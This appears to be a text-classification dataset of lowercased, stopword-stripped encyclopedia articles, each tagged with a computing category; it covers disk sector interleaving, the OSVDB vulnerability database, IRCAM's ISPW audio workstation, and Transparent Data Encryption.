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interleaving disk storage disk storage drum memory interleaving technique used improve access performance storage putting data accessed sequentially non-sequential sectors number physical sectors consecutive logical sectors called interleave skip factor skip factor historically interleaving used ordering block storage storage devices drums floppy disk drives hard disk drives primary purpose interleaving adjust timing differences computer ready transfer data data actually arriving drive head read interleaving common prior 1990s faded use processing speeds increased modern disk storage interleaved interleaving used arrange sectors efficient manner possible reading sector time would permitted processing next sector sequence ready read computer ready matching sector interleave processing speed therefore accelerates data transfer incorrect interleave make system perform markedly slower information commonly stored disk storage small pieces referred sectors blocks arranged concentric rings referred tracks across surface disk may seem easiest order blocks direct serial order track 1 2 3 4 5 6 7 8 9 early computing devices ordering practical data written read put special region reusable memory referred buffer data needed written moved buffer written buffer disk data read reverse took place transferring first buffer moved needed early computers fast enough read sector move data buffer somewhere else ready read next sector time next sector appearing read head sectors arranged direct serial order first sector read computer may spend time takes example three sectors pass ready receive data however sectors direct order sector two three four already passed computer n't need sectors 4 5 6 7 8 9 1 must wait pass reading sector two waiting disk spin around right spot slows data transfer rate correct processing delays ideal interleave system would 1:4 ordering sectors like 1 8 6 4 2 9 7 5 3 reads sector 1 processes three sectors whereby 8 6 4 pass computer becomes ready sector two arriving needed 1:1 interleave skip factor 0 places sectors sequentially—1 2 3 4 5 6 ... modern disk storage need interleaving data commonly stored clusters groups sectors data buffer sufficiently large allow sectors block read without delay sectors
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Computer file systems
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open source vulnerability database open sourced vulnerability database osvdb independent open-sourced vulnerability database goal project provide accurate detailed current unbiased technical information security vulnerabilities project promoted greater open collaboration companies individuals goal provide accurate unbiased information security vulnerabilities computerized equipment core osvdb relational database tied various information security vulnerabilities common cross-referenced open security data source november 2013 database cataloged 100,000 vulnerabilities project started august 2002 blackhat def con conferences several industry notables including h. d. moore rain.forest.puppy others mostly-new management database officially launched public march 31 2004 open security foundation osf created ensure project continuing support brian martin aka jericho jake kouns project leaders osvdb project currently hold leadership roles osf client/server implementation consists server daemon mysqld many different client programs/libraries pluggable data store architecture 5 april 2016 database shut although blog continue originally vulnerability reports advisories exploits posted various security lists enter database new entry new entry contains title links entries vulnerability security lists however stage page new entry n't contain detailed description vulnerability new entries thoroughly scrutinized analyzed refined descriptions vulnerability solutions test notes added details reviewed members osvdb refined necessary made stable stable detailed information appears page entry january 2012 vulnerability entry performed full-time employees osf every new entry included title description solution known classification data references products creditee enthusiastic hackers volunteering maintain osvdb active members follows volunteers helped past include open security foundation non-profit 501 c 3 organization established early 2005 function support organization open source security projects originally conceived founded support osvdb project scope evolving provide support numerous projects foundation allows organizations individuals provide charitable contributions support open source security projects provide value global community foundation also provides guidance legal administrative policy guidelines support numerous projects open security foundation conceived chris sullo brian martin jake kouns early 2004 obtained official us 501 c 3 non-profit status april 2005
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Computer security
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ispw ircam signal processing workstation ispw hardware dsp platform developed ircam ariel corporation late 1980s french ispw referred sim station d'informatique musicale eric lindemann principal designer ispw hardware well manager overall hardware/software effort consisted three customized dsp boards could plugged expansion bus next computer cube ispw could run customized real-time audio processing server hardware boards controlled client application next ispw card two intel i860 microprocessors running 80 mflops additional card eight channels audio i/o also available multi-channel sound recording playback three-board ispw provided time unsurpassed signal processing audio synthesis power single workstation single ispw card cost approximately 12,000us including computer made prohibitively expensive outside research institutes universities i860 board main server software developed ircam ispw called fts faster sound main next client application graphical program called max developed miller puckette commercial version max without fts server licensed ircam opcode systems later cycling '74 max/fts eventually migrated software-only application sgi dec alpha computers direct predecessor jmax see also pd
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Operating systems
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transparent data encryption transparent data encryption often abbreviated tde technology employed microsoft ibm oracle encrypt database files tde offers encryption file level tde solves problem protecting data rest encrypting databases hard drive consequently backup media protect data transit data use enterprises typically employ tde solve compliance issues pci dss require protection data rest microsoft offers tde part microsoft sql server 2008 2008 r2 2012 2014 2016 tde supported evaluation developer enterprise datacenter editions microsoft sql server sql tde supported hardware security modules thales e-security townsend security safenet inc. ibm offers tde part db2 version 10.5 fixpack 5 also supported cloud versions product default db2 cloud db2 warehouse cloud oracle requires oracle advanced security option oracle 10g 11g enable tde oracle tde addresses encryption requirements associated public private privacy security mandates pci california sb 1386 oracle advanced security tde column encryption introduced oracle database 10g release 2 oracle advanced security tde tablespace encryption support hardware security modules hsms introduced oracle database 11gr1 keys tde stored hsm manage keys across servers protect keys hardware introduce separation duties key used encrypt columns table regardless number columns encrypted encryption keys encrypted using database server master key stored dictionary table database sql server utilizes encryption hierarchy enables databases shared within cluster migrated instances without re-encrypting hierarchy consists combination symmetric asymmetric ciphers database backups compression occurs encryption due fact strongly encrypted data significantly compressed backups tde encrypted databases require additional resources enable automatic booting sql server stores lowest level encryption keys persistent storage using dpapi store presents potential security issue stored keys directly recovered live system backups used decrypt databases
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Computer file systems
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